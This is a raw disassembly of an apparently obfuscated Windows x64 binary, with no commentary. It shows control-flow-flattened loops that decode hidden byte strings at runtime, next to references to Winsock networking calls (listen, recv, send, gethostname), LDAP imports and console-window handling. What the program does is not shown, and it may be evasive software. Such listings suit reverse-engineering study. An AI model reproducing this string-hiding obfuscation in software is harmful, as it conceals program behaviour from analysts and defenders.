inc rdi
jmp 0x1400bd773
lea rdx, [rdi + r14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0x1f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bd773
add dil, 0x22
movzx eax, dil
and al, bl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x1400bd770
sub dil, 0x52
movzx eax, dil
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, bl
jmp 0x1400bd760
lea rdx, [rbp + 0x1749ce8]
jmp 0x1400be234
lea rdx, [rbp + 0xe07422]
jmp 0x1400be234
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xa28]
call fcn.140003ea0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa70], xmm0
movups xmmword [rbp + 0xa80], xmm0
movups xmmword [rbp + 0xa90], xmm0
movups xmmword [rbp + 0xaa0], xmm0
movups xmmword [rbp + 0xab0], xmm0
movups xmmword [rbp + 0xac0], xmm0
movups xmmword [rbp + 0xad0], xmm0
movups xmmword [rbp + 0xae0], xmm0
movups xmmword [rbp + 0xaf0], xmm0
mov qword [rbp + 0xb00], rax
lea rdx, [rbp + 0xa48]
lea rcx, [rbp + 0xe0]
call fcn.1400022f0
nop
mov rdx, rax
lea rcx, [rbp + 0xa70]
call fcn.1400ceeb0
nop
lea rcx, [rbp + 0xe0]
call fcn.140002490
mov eax, dword [rbp + 0xa70]
test eax, eax
je 0x1400c8332
cmp eax, 0x190
jge 0x1400c8332
lea rdx, [rbp + 0xa28]
lea rcx, [rbp + 0xa78]
call fcn.14005b6d0
test al, al
jne 0x1400c09a2
mov r9, qword [rbp + 0xa88]
dec r9
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0xa78]
lea rcx, [rbp - 0x20]
call fcn.140003ee0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xa78]
call fcn.140003e10
lea rcx, [rbp - 0x20]
call fcn.140002490
lea rdx, [rbp + 0xa28]
lea rcx, [rbp + 0xa78]
call fcn.14005b6d0
test al, al
jne 0x1400c09a2
mov byte [rbp + 0x320], 0x66
mov byte [rbp + 0x321], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x322], 4
mov byte [rbp + 0x323], 4
mov byte [rbp + 0x324], WSAStartup
mov byte [rbp + 0x325], 0x7a
mov byte [rbp + 0x326], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x327], 0xa7
mov byte [rbp + 0x328], 0x7d
mov byte [rbp + 0x329], 0xa
mov byte [rbp + 0x32a], 0xa2
mov byte [rbp + 0x32b], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x32c], reloc.WS2_32.dll_listen
mov byte [rbp + 0x32d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x32e], 0x62
mov byte [rbp + 0x32f], 0x7e
mov byte [rbp + 0x330], reloc.WS2_32.dll_recv
mov byte [rbp + 0x331], 0x60
mov byte [rbp + 0x332], 0x66
mov byte [rbp + 0x333], Ordinal_143
mov byte [rbp + 0x334], 0x98
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x335], xmm0
mov qword [rbp + 0x345], rax
mov dword [rbp + 0x34d], eax
mov word [rbp + 0x351], ax
movabs r14, 0xa6fa6e67fb8c3cc2
movabs r12, 0x90d904d7e0d5a94e
movabs r13, 0x42e42807e9bd2fca
movabs r15, 0xf4ef4b37f2a4b646
movzx r11d, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400bef97
movzx r10d, byte [rbp + rbx + 0x320]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bef8e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400be48c
lea rcx, [rbx + r14]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x4e
jmp 0x1400be4c0
je 0x1400bef16
inc rax
cmp r8, rax
je 0x1400beeb5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bee6d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bee23
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400bef85
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400be4e9
lea ecx, [rbx - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x1400be530
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bee08
inc rax
cmp r8, rax
je 0x1400bede7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bedb5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bed9d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bed7e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bea9e
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bea8e
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bea6a
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bea45
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bea27
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bea08
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400be9e9
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400be9cb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400be9ac
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400be980
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400be540
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bef66
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bef47
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400be731
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400be712
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400be6f4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400be935
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400be8eb
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400be8a6
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400be87c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400be540
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400be850
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400be831
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400be812
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400be7f7
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400be7d8
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400be7ba
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400be795
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400be76d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400be74f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400be540
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x42]
jmp 0x1400be540
lea edx, [rbx + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5a
add r11b, dl
jmp 0x1400be530
lea edx, [rbx - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400be4c0
lea edx, [rbx + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
add r11b, dl
jmp 0x1400be455
lea edx, [rbx + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
movzx edi, bl
jmp 0x1400bee3d
lea edx, [rbx - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400be442
lea edx, [rbx + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400be442
lea edx, [rbx - 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
movzx edi, bl
jmp 0x1400bed3f
lea edx, [rbx + 0x40]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bedcb
lea ecx, [rbx - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x24
jmp 0x1400bedce
lea edx, [rbx + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bee89
lea edx, [rbx - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400beed2
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be442
lea edx, [rbx + 0x66]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
mov byte [rbp + rbx + 0x320], r11b
inc rbx
jmp 0x1400be442
lea edx, [rbx - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2e
add r11b, dl
cmp r9, 0x1000
jb 0x1400be896
movzx edi, bl
lea edx, [rdi + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x28]
jmp 0x1400bee40
lea edx, [rbx + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x42
jae 0x1400bed22
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400bec5e
lea edx, [rbx + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400be8bc
lea edx, [rbx - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x5a
je 0x1400bed68
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400beb58
lea edx, [rbx + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
jmp 0x1400be8f9
lea ecx, [rbx + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be442
lea edx, [rbx - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400beed2
lea edx, [rbx + 0x74]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1400bee89
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bedce
lea edx, [rbx + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bedcb
movzx edi, bl
lea edx, [rdi - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
jmp 0x1400bed3f
lea edx, [rbx + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400be442
lea ecx, [rbx - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400be442
movzx edi, bl
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
jmp 0x1400bee2e
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400beac5
lea edx, [rbx - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
jmp 0x1400be94c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400beaea
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bef2e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400beb11
lea edx, [rbx - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x1400bee89
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400beb3b
lea ecx, [rbx - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
dec rbx
inc rbx
jmp 0x1400be442
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400be94f
movzx edi, bl
lea edx, [rdi - 0xc]
mov ecx, Ordinal_46
jmp 0x1400bee2e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400beb7f
movzx edi, bl
lea edx, [rdi - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x32
jmp 0x1400bee3d
inc rax
cmp r8, rax
jne 0x1400bebaf
lea edx, [rbx + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400be442
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bebd9
lea ecx, [rbx - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6a
dec rbx
inc rbx
jmp 0x1400be442
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bebfd
lea ecx, [rbx + 0x52]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
jmp 0x1400bedce
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bec25
lea edx, [rbx - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bee89
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400be905
lea ecx, [rbx - 0x22]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be442
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bec83
lea edx, [rbx - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bef2e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400becab
lea edx, [rbx - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bee89
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400beccf
lea ecx, [rbx + 0x34]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6c
jmp 0x1400bedce
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400becf4
movzx edi, bl
lea edx, [rdi + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bed3f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400be8bf
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x1400be442
movzx edi, bl
lea edx, [rdi - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx + 0x320]
sub cl, al
add cl, 0x28
lea r11d, [rcx + rcx]
add r11b, dl
sub dil, 0x6e
movzx eax, dil
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x320], cl
jmp 0x1400bedcb
lea ecx, [rbx + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x4c]
jmp 0x1400bee89
lea edx, [rbx - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bee89
lea ecx, [rbx + 2]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xe
jmp 0x1400bedce
lea ecx, [rbx + 0x7e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x72
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400be442
lea ecx, [rbx + 0x76]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
jmp 0x1400be442
movzx edi, bl
lea edx, [rdi + 0x6e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
jmp 0x1400bee3d
movzx edi, bl
lea edx, [rdi + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add dil, 0xe
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x62
add dil, r10b
mov byte [rbp + rbx + 0x320], dil
inc r9
dec rbx
inc rbx
jmp 0x1400be442
lea rcx, [rbx + r12]
movzx r10d, dil
and dil, cl
add dil, dil
movzx r11d, r10b
sub r11b, dil
sub r11b, 0x22
add r11b, cl
lea edx, [rbx + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x320], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400beed2
lea rcx, [rbx + r13]
movzx r10d, dil
and dil, cl
mov eax, 0x3d
sub al, dil
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
lea edx, [rbx - 0x28]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0x320], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be442
lea rdx, [rbx + r15]
movzx eax, dil
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400be442
sub bl, 0x36
movzx eax, r10b
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400be440
add bl, 0x46
movzx eax, r10b
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400be430
lea rdx, [rbp + 0x178d578]
jmp 0x1400bef9e
lea rdx, [rbp + 0x85123a]
jmp 0x1400bef9e
lea rdx, [rbp + 0x320]
mov rcx, qword [0x140220750]
call fcn.1400ca7c0
mov rsi, qword [0x140220750]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x4c0], 0xeb
mov byte [rbp + 0x4c1], 0xc1
mov byte [rbp + 0x4c2], Ordinal_200
mov byte [rbp + 0x4c3], 0xbe
mov byte [rbp + 0x4c4], Ordinal_200
mov byte [rbp + 0x4c5], Ordinal_200
mov byte [rbp + 0x4c6], 0xc9
mov byte [rbp + 0x4c7], 0xef
mov byte [rbp + 0x4c8], gethostname
mov byte [rbp + 0x4c9], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x4ca], 0x3e
mov byte [rbp + 0x4cb], 0x46
mov byte [rbp + 0x4cc], Ordinal_60
mov byte [rbp + 0x4cd], 0x3d
mov byte [rbp + 0x4ce], gethostname
mov byte [rbp + 0x4cf], 0xe7
mov byte [rbp + 0x4d0], Ordinal_50
mov byte [rbp + 0x4d1], gethostname
mov byte [rbp + 0x4d2], 0xe4
mov byte [rbp + 0x4d3], select
mov byte [rbp + 0x4d4], 0xe2
mov byte [rbp + 0x4d5], Ordinal_79
mov byte [rbp + 0x4d6], Ordinal_60
mov byte [rbp + 0x4d7], Ordinal_35
mov byte [rbp + 0x4d8], Ordinal_50
mov byte [rbp + 0x4d9], Ordinal_50
mov byte [rbp + 0x4da], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x4db], 0x56
mov byte [rbp + 0x4dc], 0xe8
mov byte [rbp + 0x4dd], 0xeb
mov byte [rbp + 0x4de], 0xea
mov byte [rbp + 0x4df], 0xc1
mov byte [rbp + 0x4e0], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e1], xmm0
movups xmmword [rbp + 0x4f1], xmm0
mov word [rbp + 0x501], ax
movabs r14, 0xc0d6f73c67180779
movabs r12, 0x45e0c2a6d1a8344f
movabs r15, 0x4284e5b53548166b
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400bfd11
movzx r10d, byte [rbp + rbx + 0x4c0]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bfd08
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bf14c
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x4f
jmp 0x1400bf180
je 0x1400bfc9e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfc18
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bfbe7
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bfba2
nop dword [rax]
cmp r9, rbx
ja 0x1400bfcff
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400bf1a9
lea ecx, [rbx - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
jmp 0x1400bf200
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bfb88
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfb4b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bfb31
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bfb17
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bfafd
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bfad2
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bf77c
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bf75a
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bf732
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf711
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bf6ef
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bf6d4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bf6b9
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bf69a
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400bf67c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bf64c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bf210
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bfce4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bfcc9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400bf3fc
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bf3e2
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bf3c8
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bf5fd
lea rcx, [r9 + 6]
cmp r8, rcx
jb 0x1400bf5b2
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400bf570
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bf54a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bf210
mov r8, rcx
lea r9, [rcx + 0xa]
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400bf51a
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400bf4fb
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400bf4dd
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400bf4be
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400bf4a3
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400bf481
lea rcx, [r9 + 0x40]
cmp r8, rcx
ja 0x1400bf45c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bf438
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bf416
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bf210
mov r8, rcx
lea r9, [rcx + 0x80]
jmp 0x1400bf210
lea ecx, [rbx - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
jmp 0x1400bf200
lea ecx, [rbx - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x47
jmp 0x1400bf180
lea ecx, [rbx - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x57
jmp 0x1400bf115
lea edx, [rbx + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edi, bl
jmp 0x1400bfbba
lea ecx, [rbx + 0x76]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x1400bf102
lea edx, [rbx - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400bf102
lea edx, [rbx - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx edi, bl
jmp 0x1400bfb63
lea ecx, [rbx - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x1400bfbfc
lea edx, [rbx - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfbff
lea edx, [rbx - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1400bfc32
lea edx, [rbx - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400bfc5b
lea edx, [rbx - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x4c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bf102
lea ecx, [rbx + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5d
mov byte [rbp + rbx + 0x4c0], r11b
inc rbx
jmp 0x1400bf102
lea edx, [rbx - 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
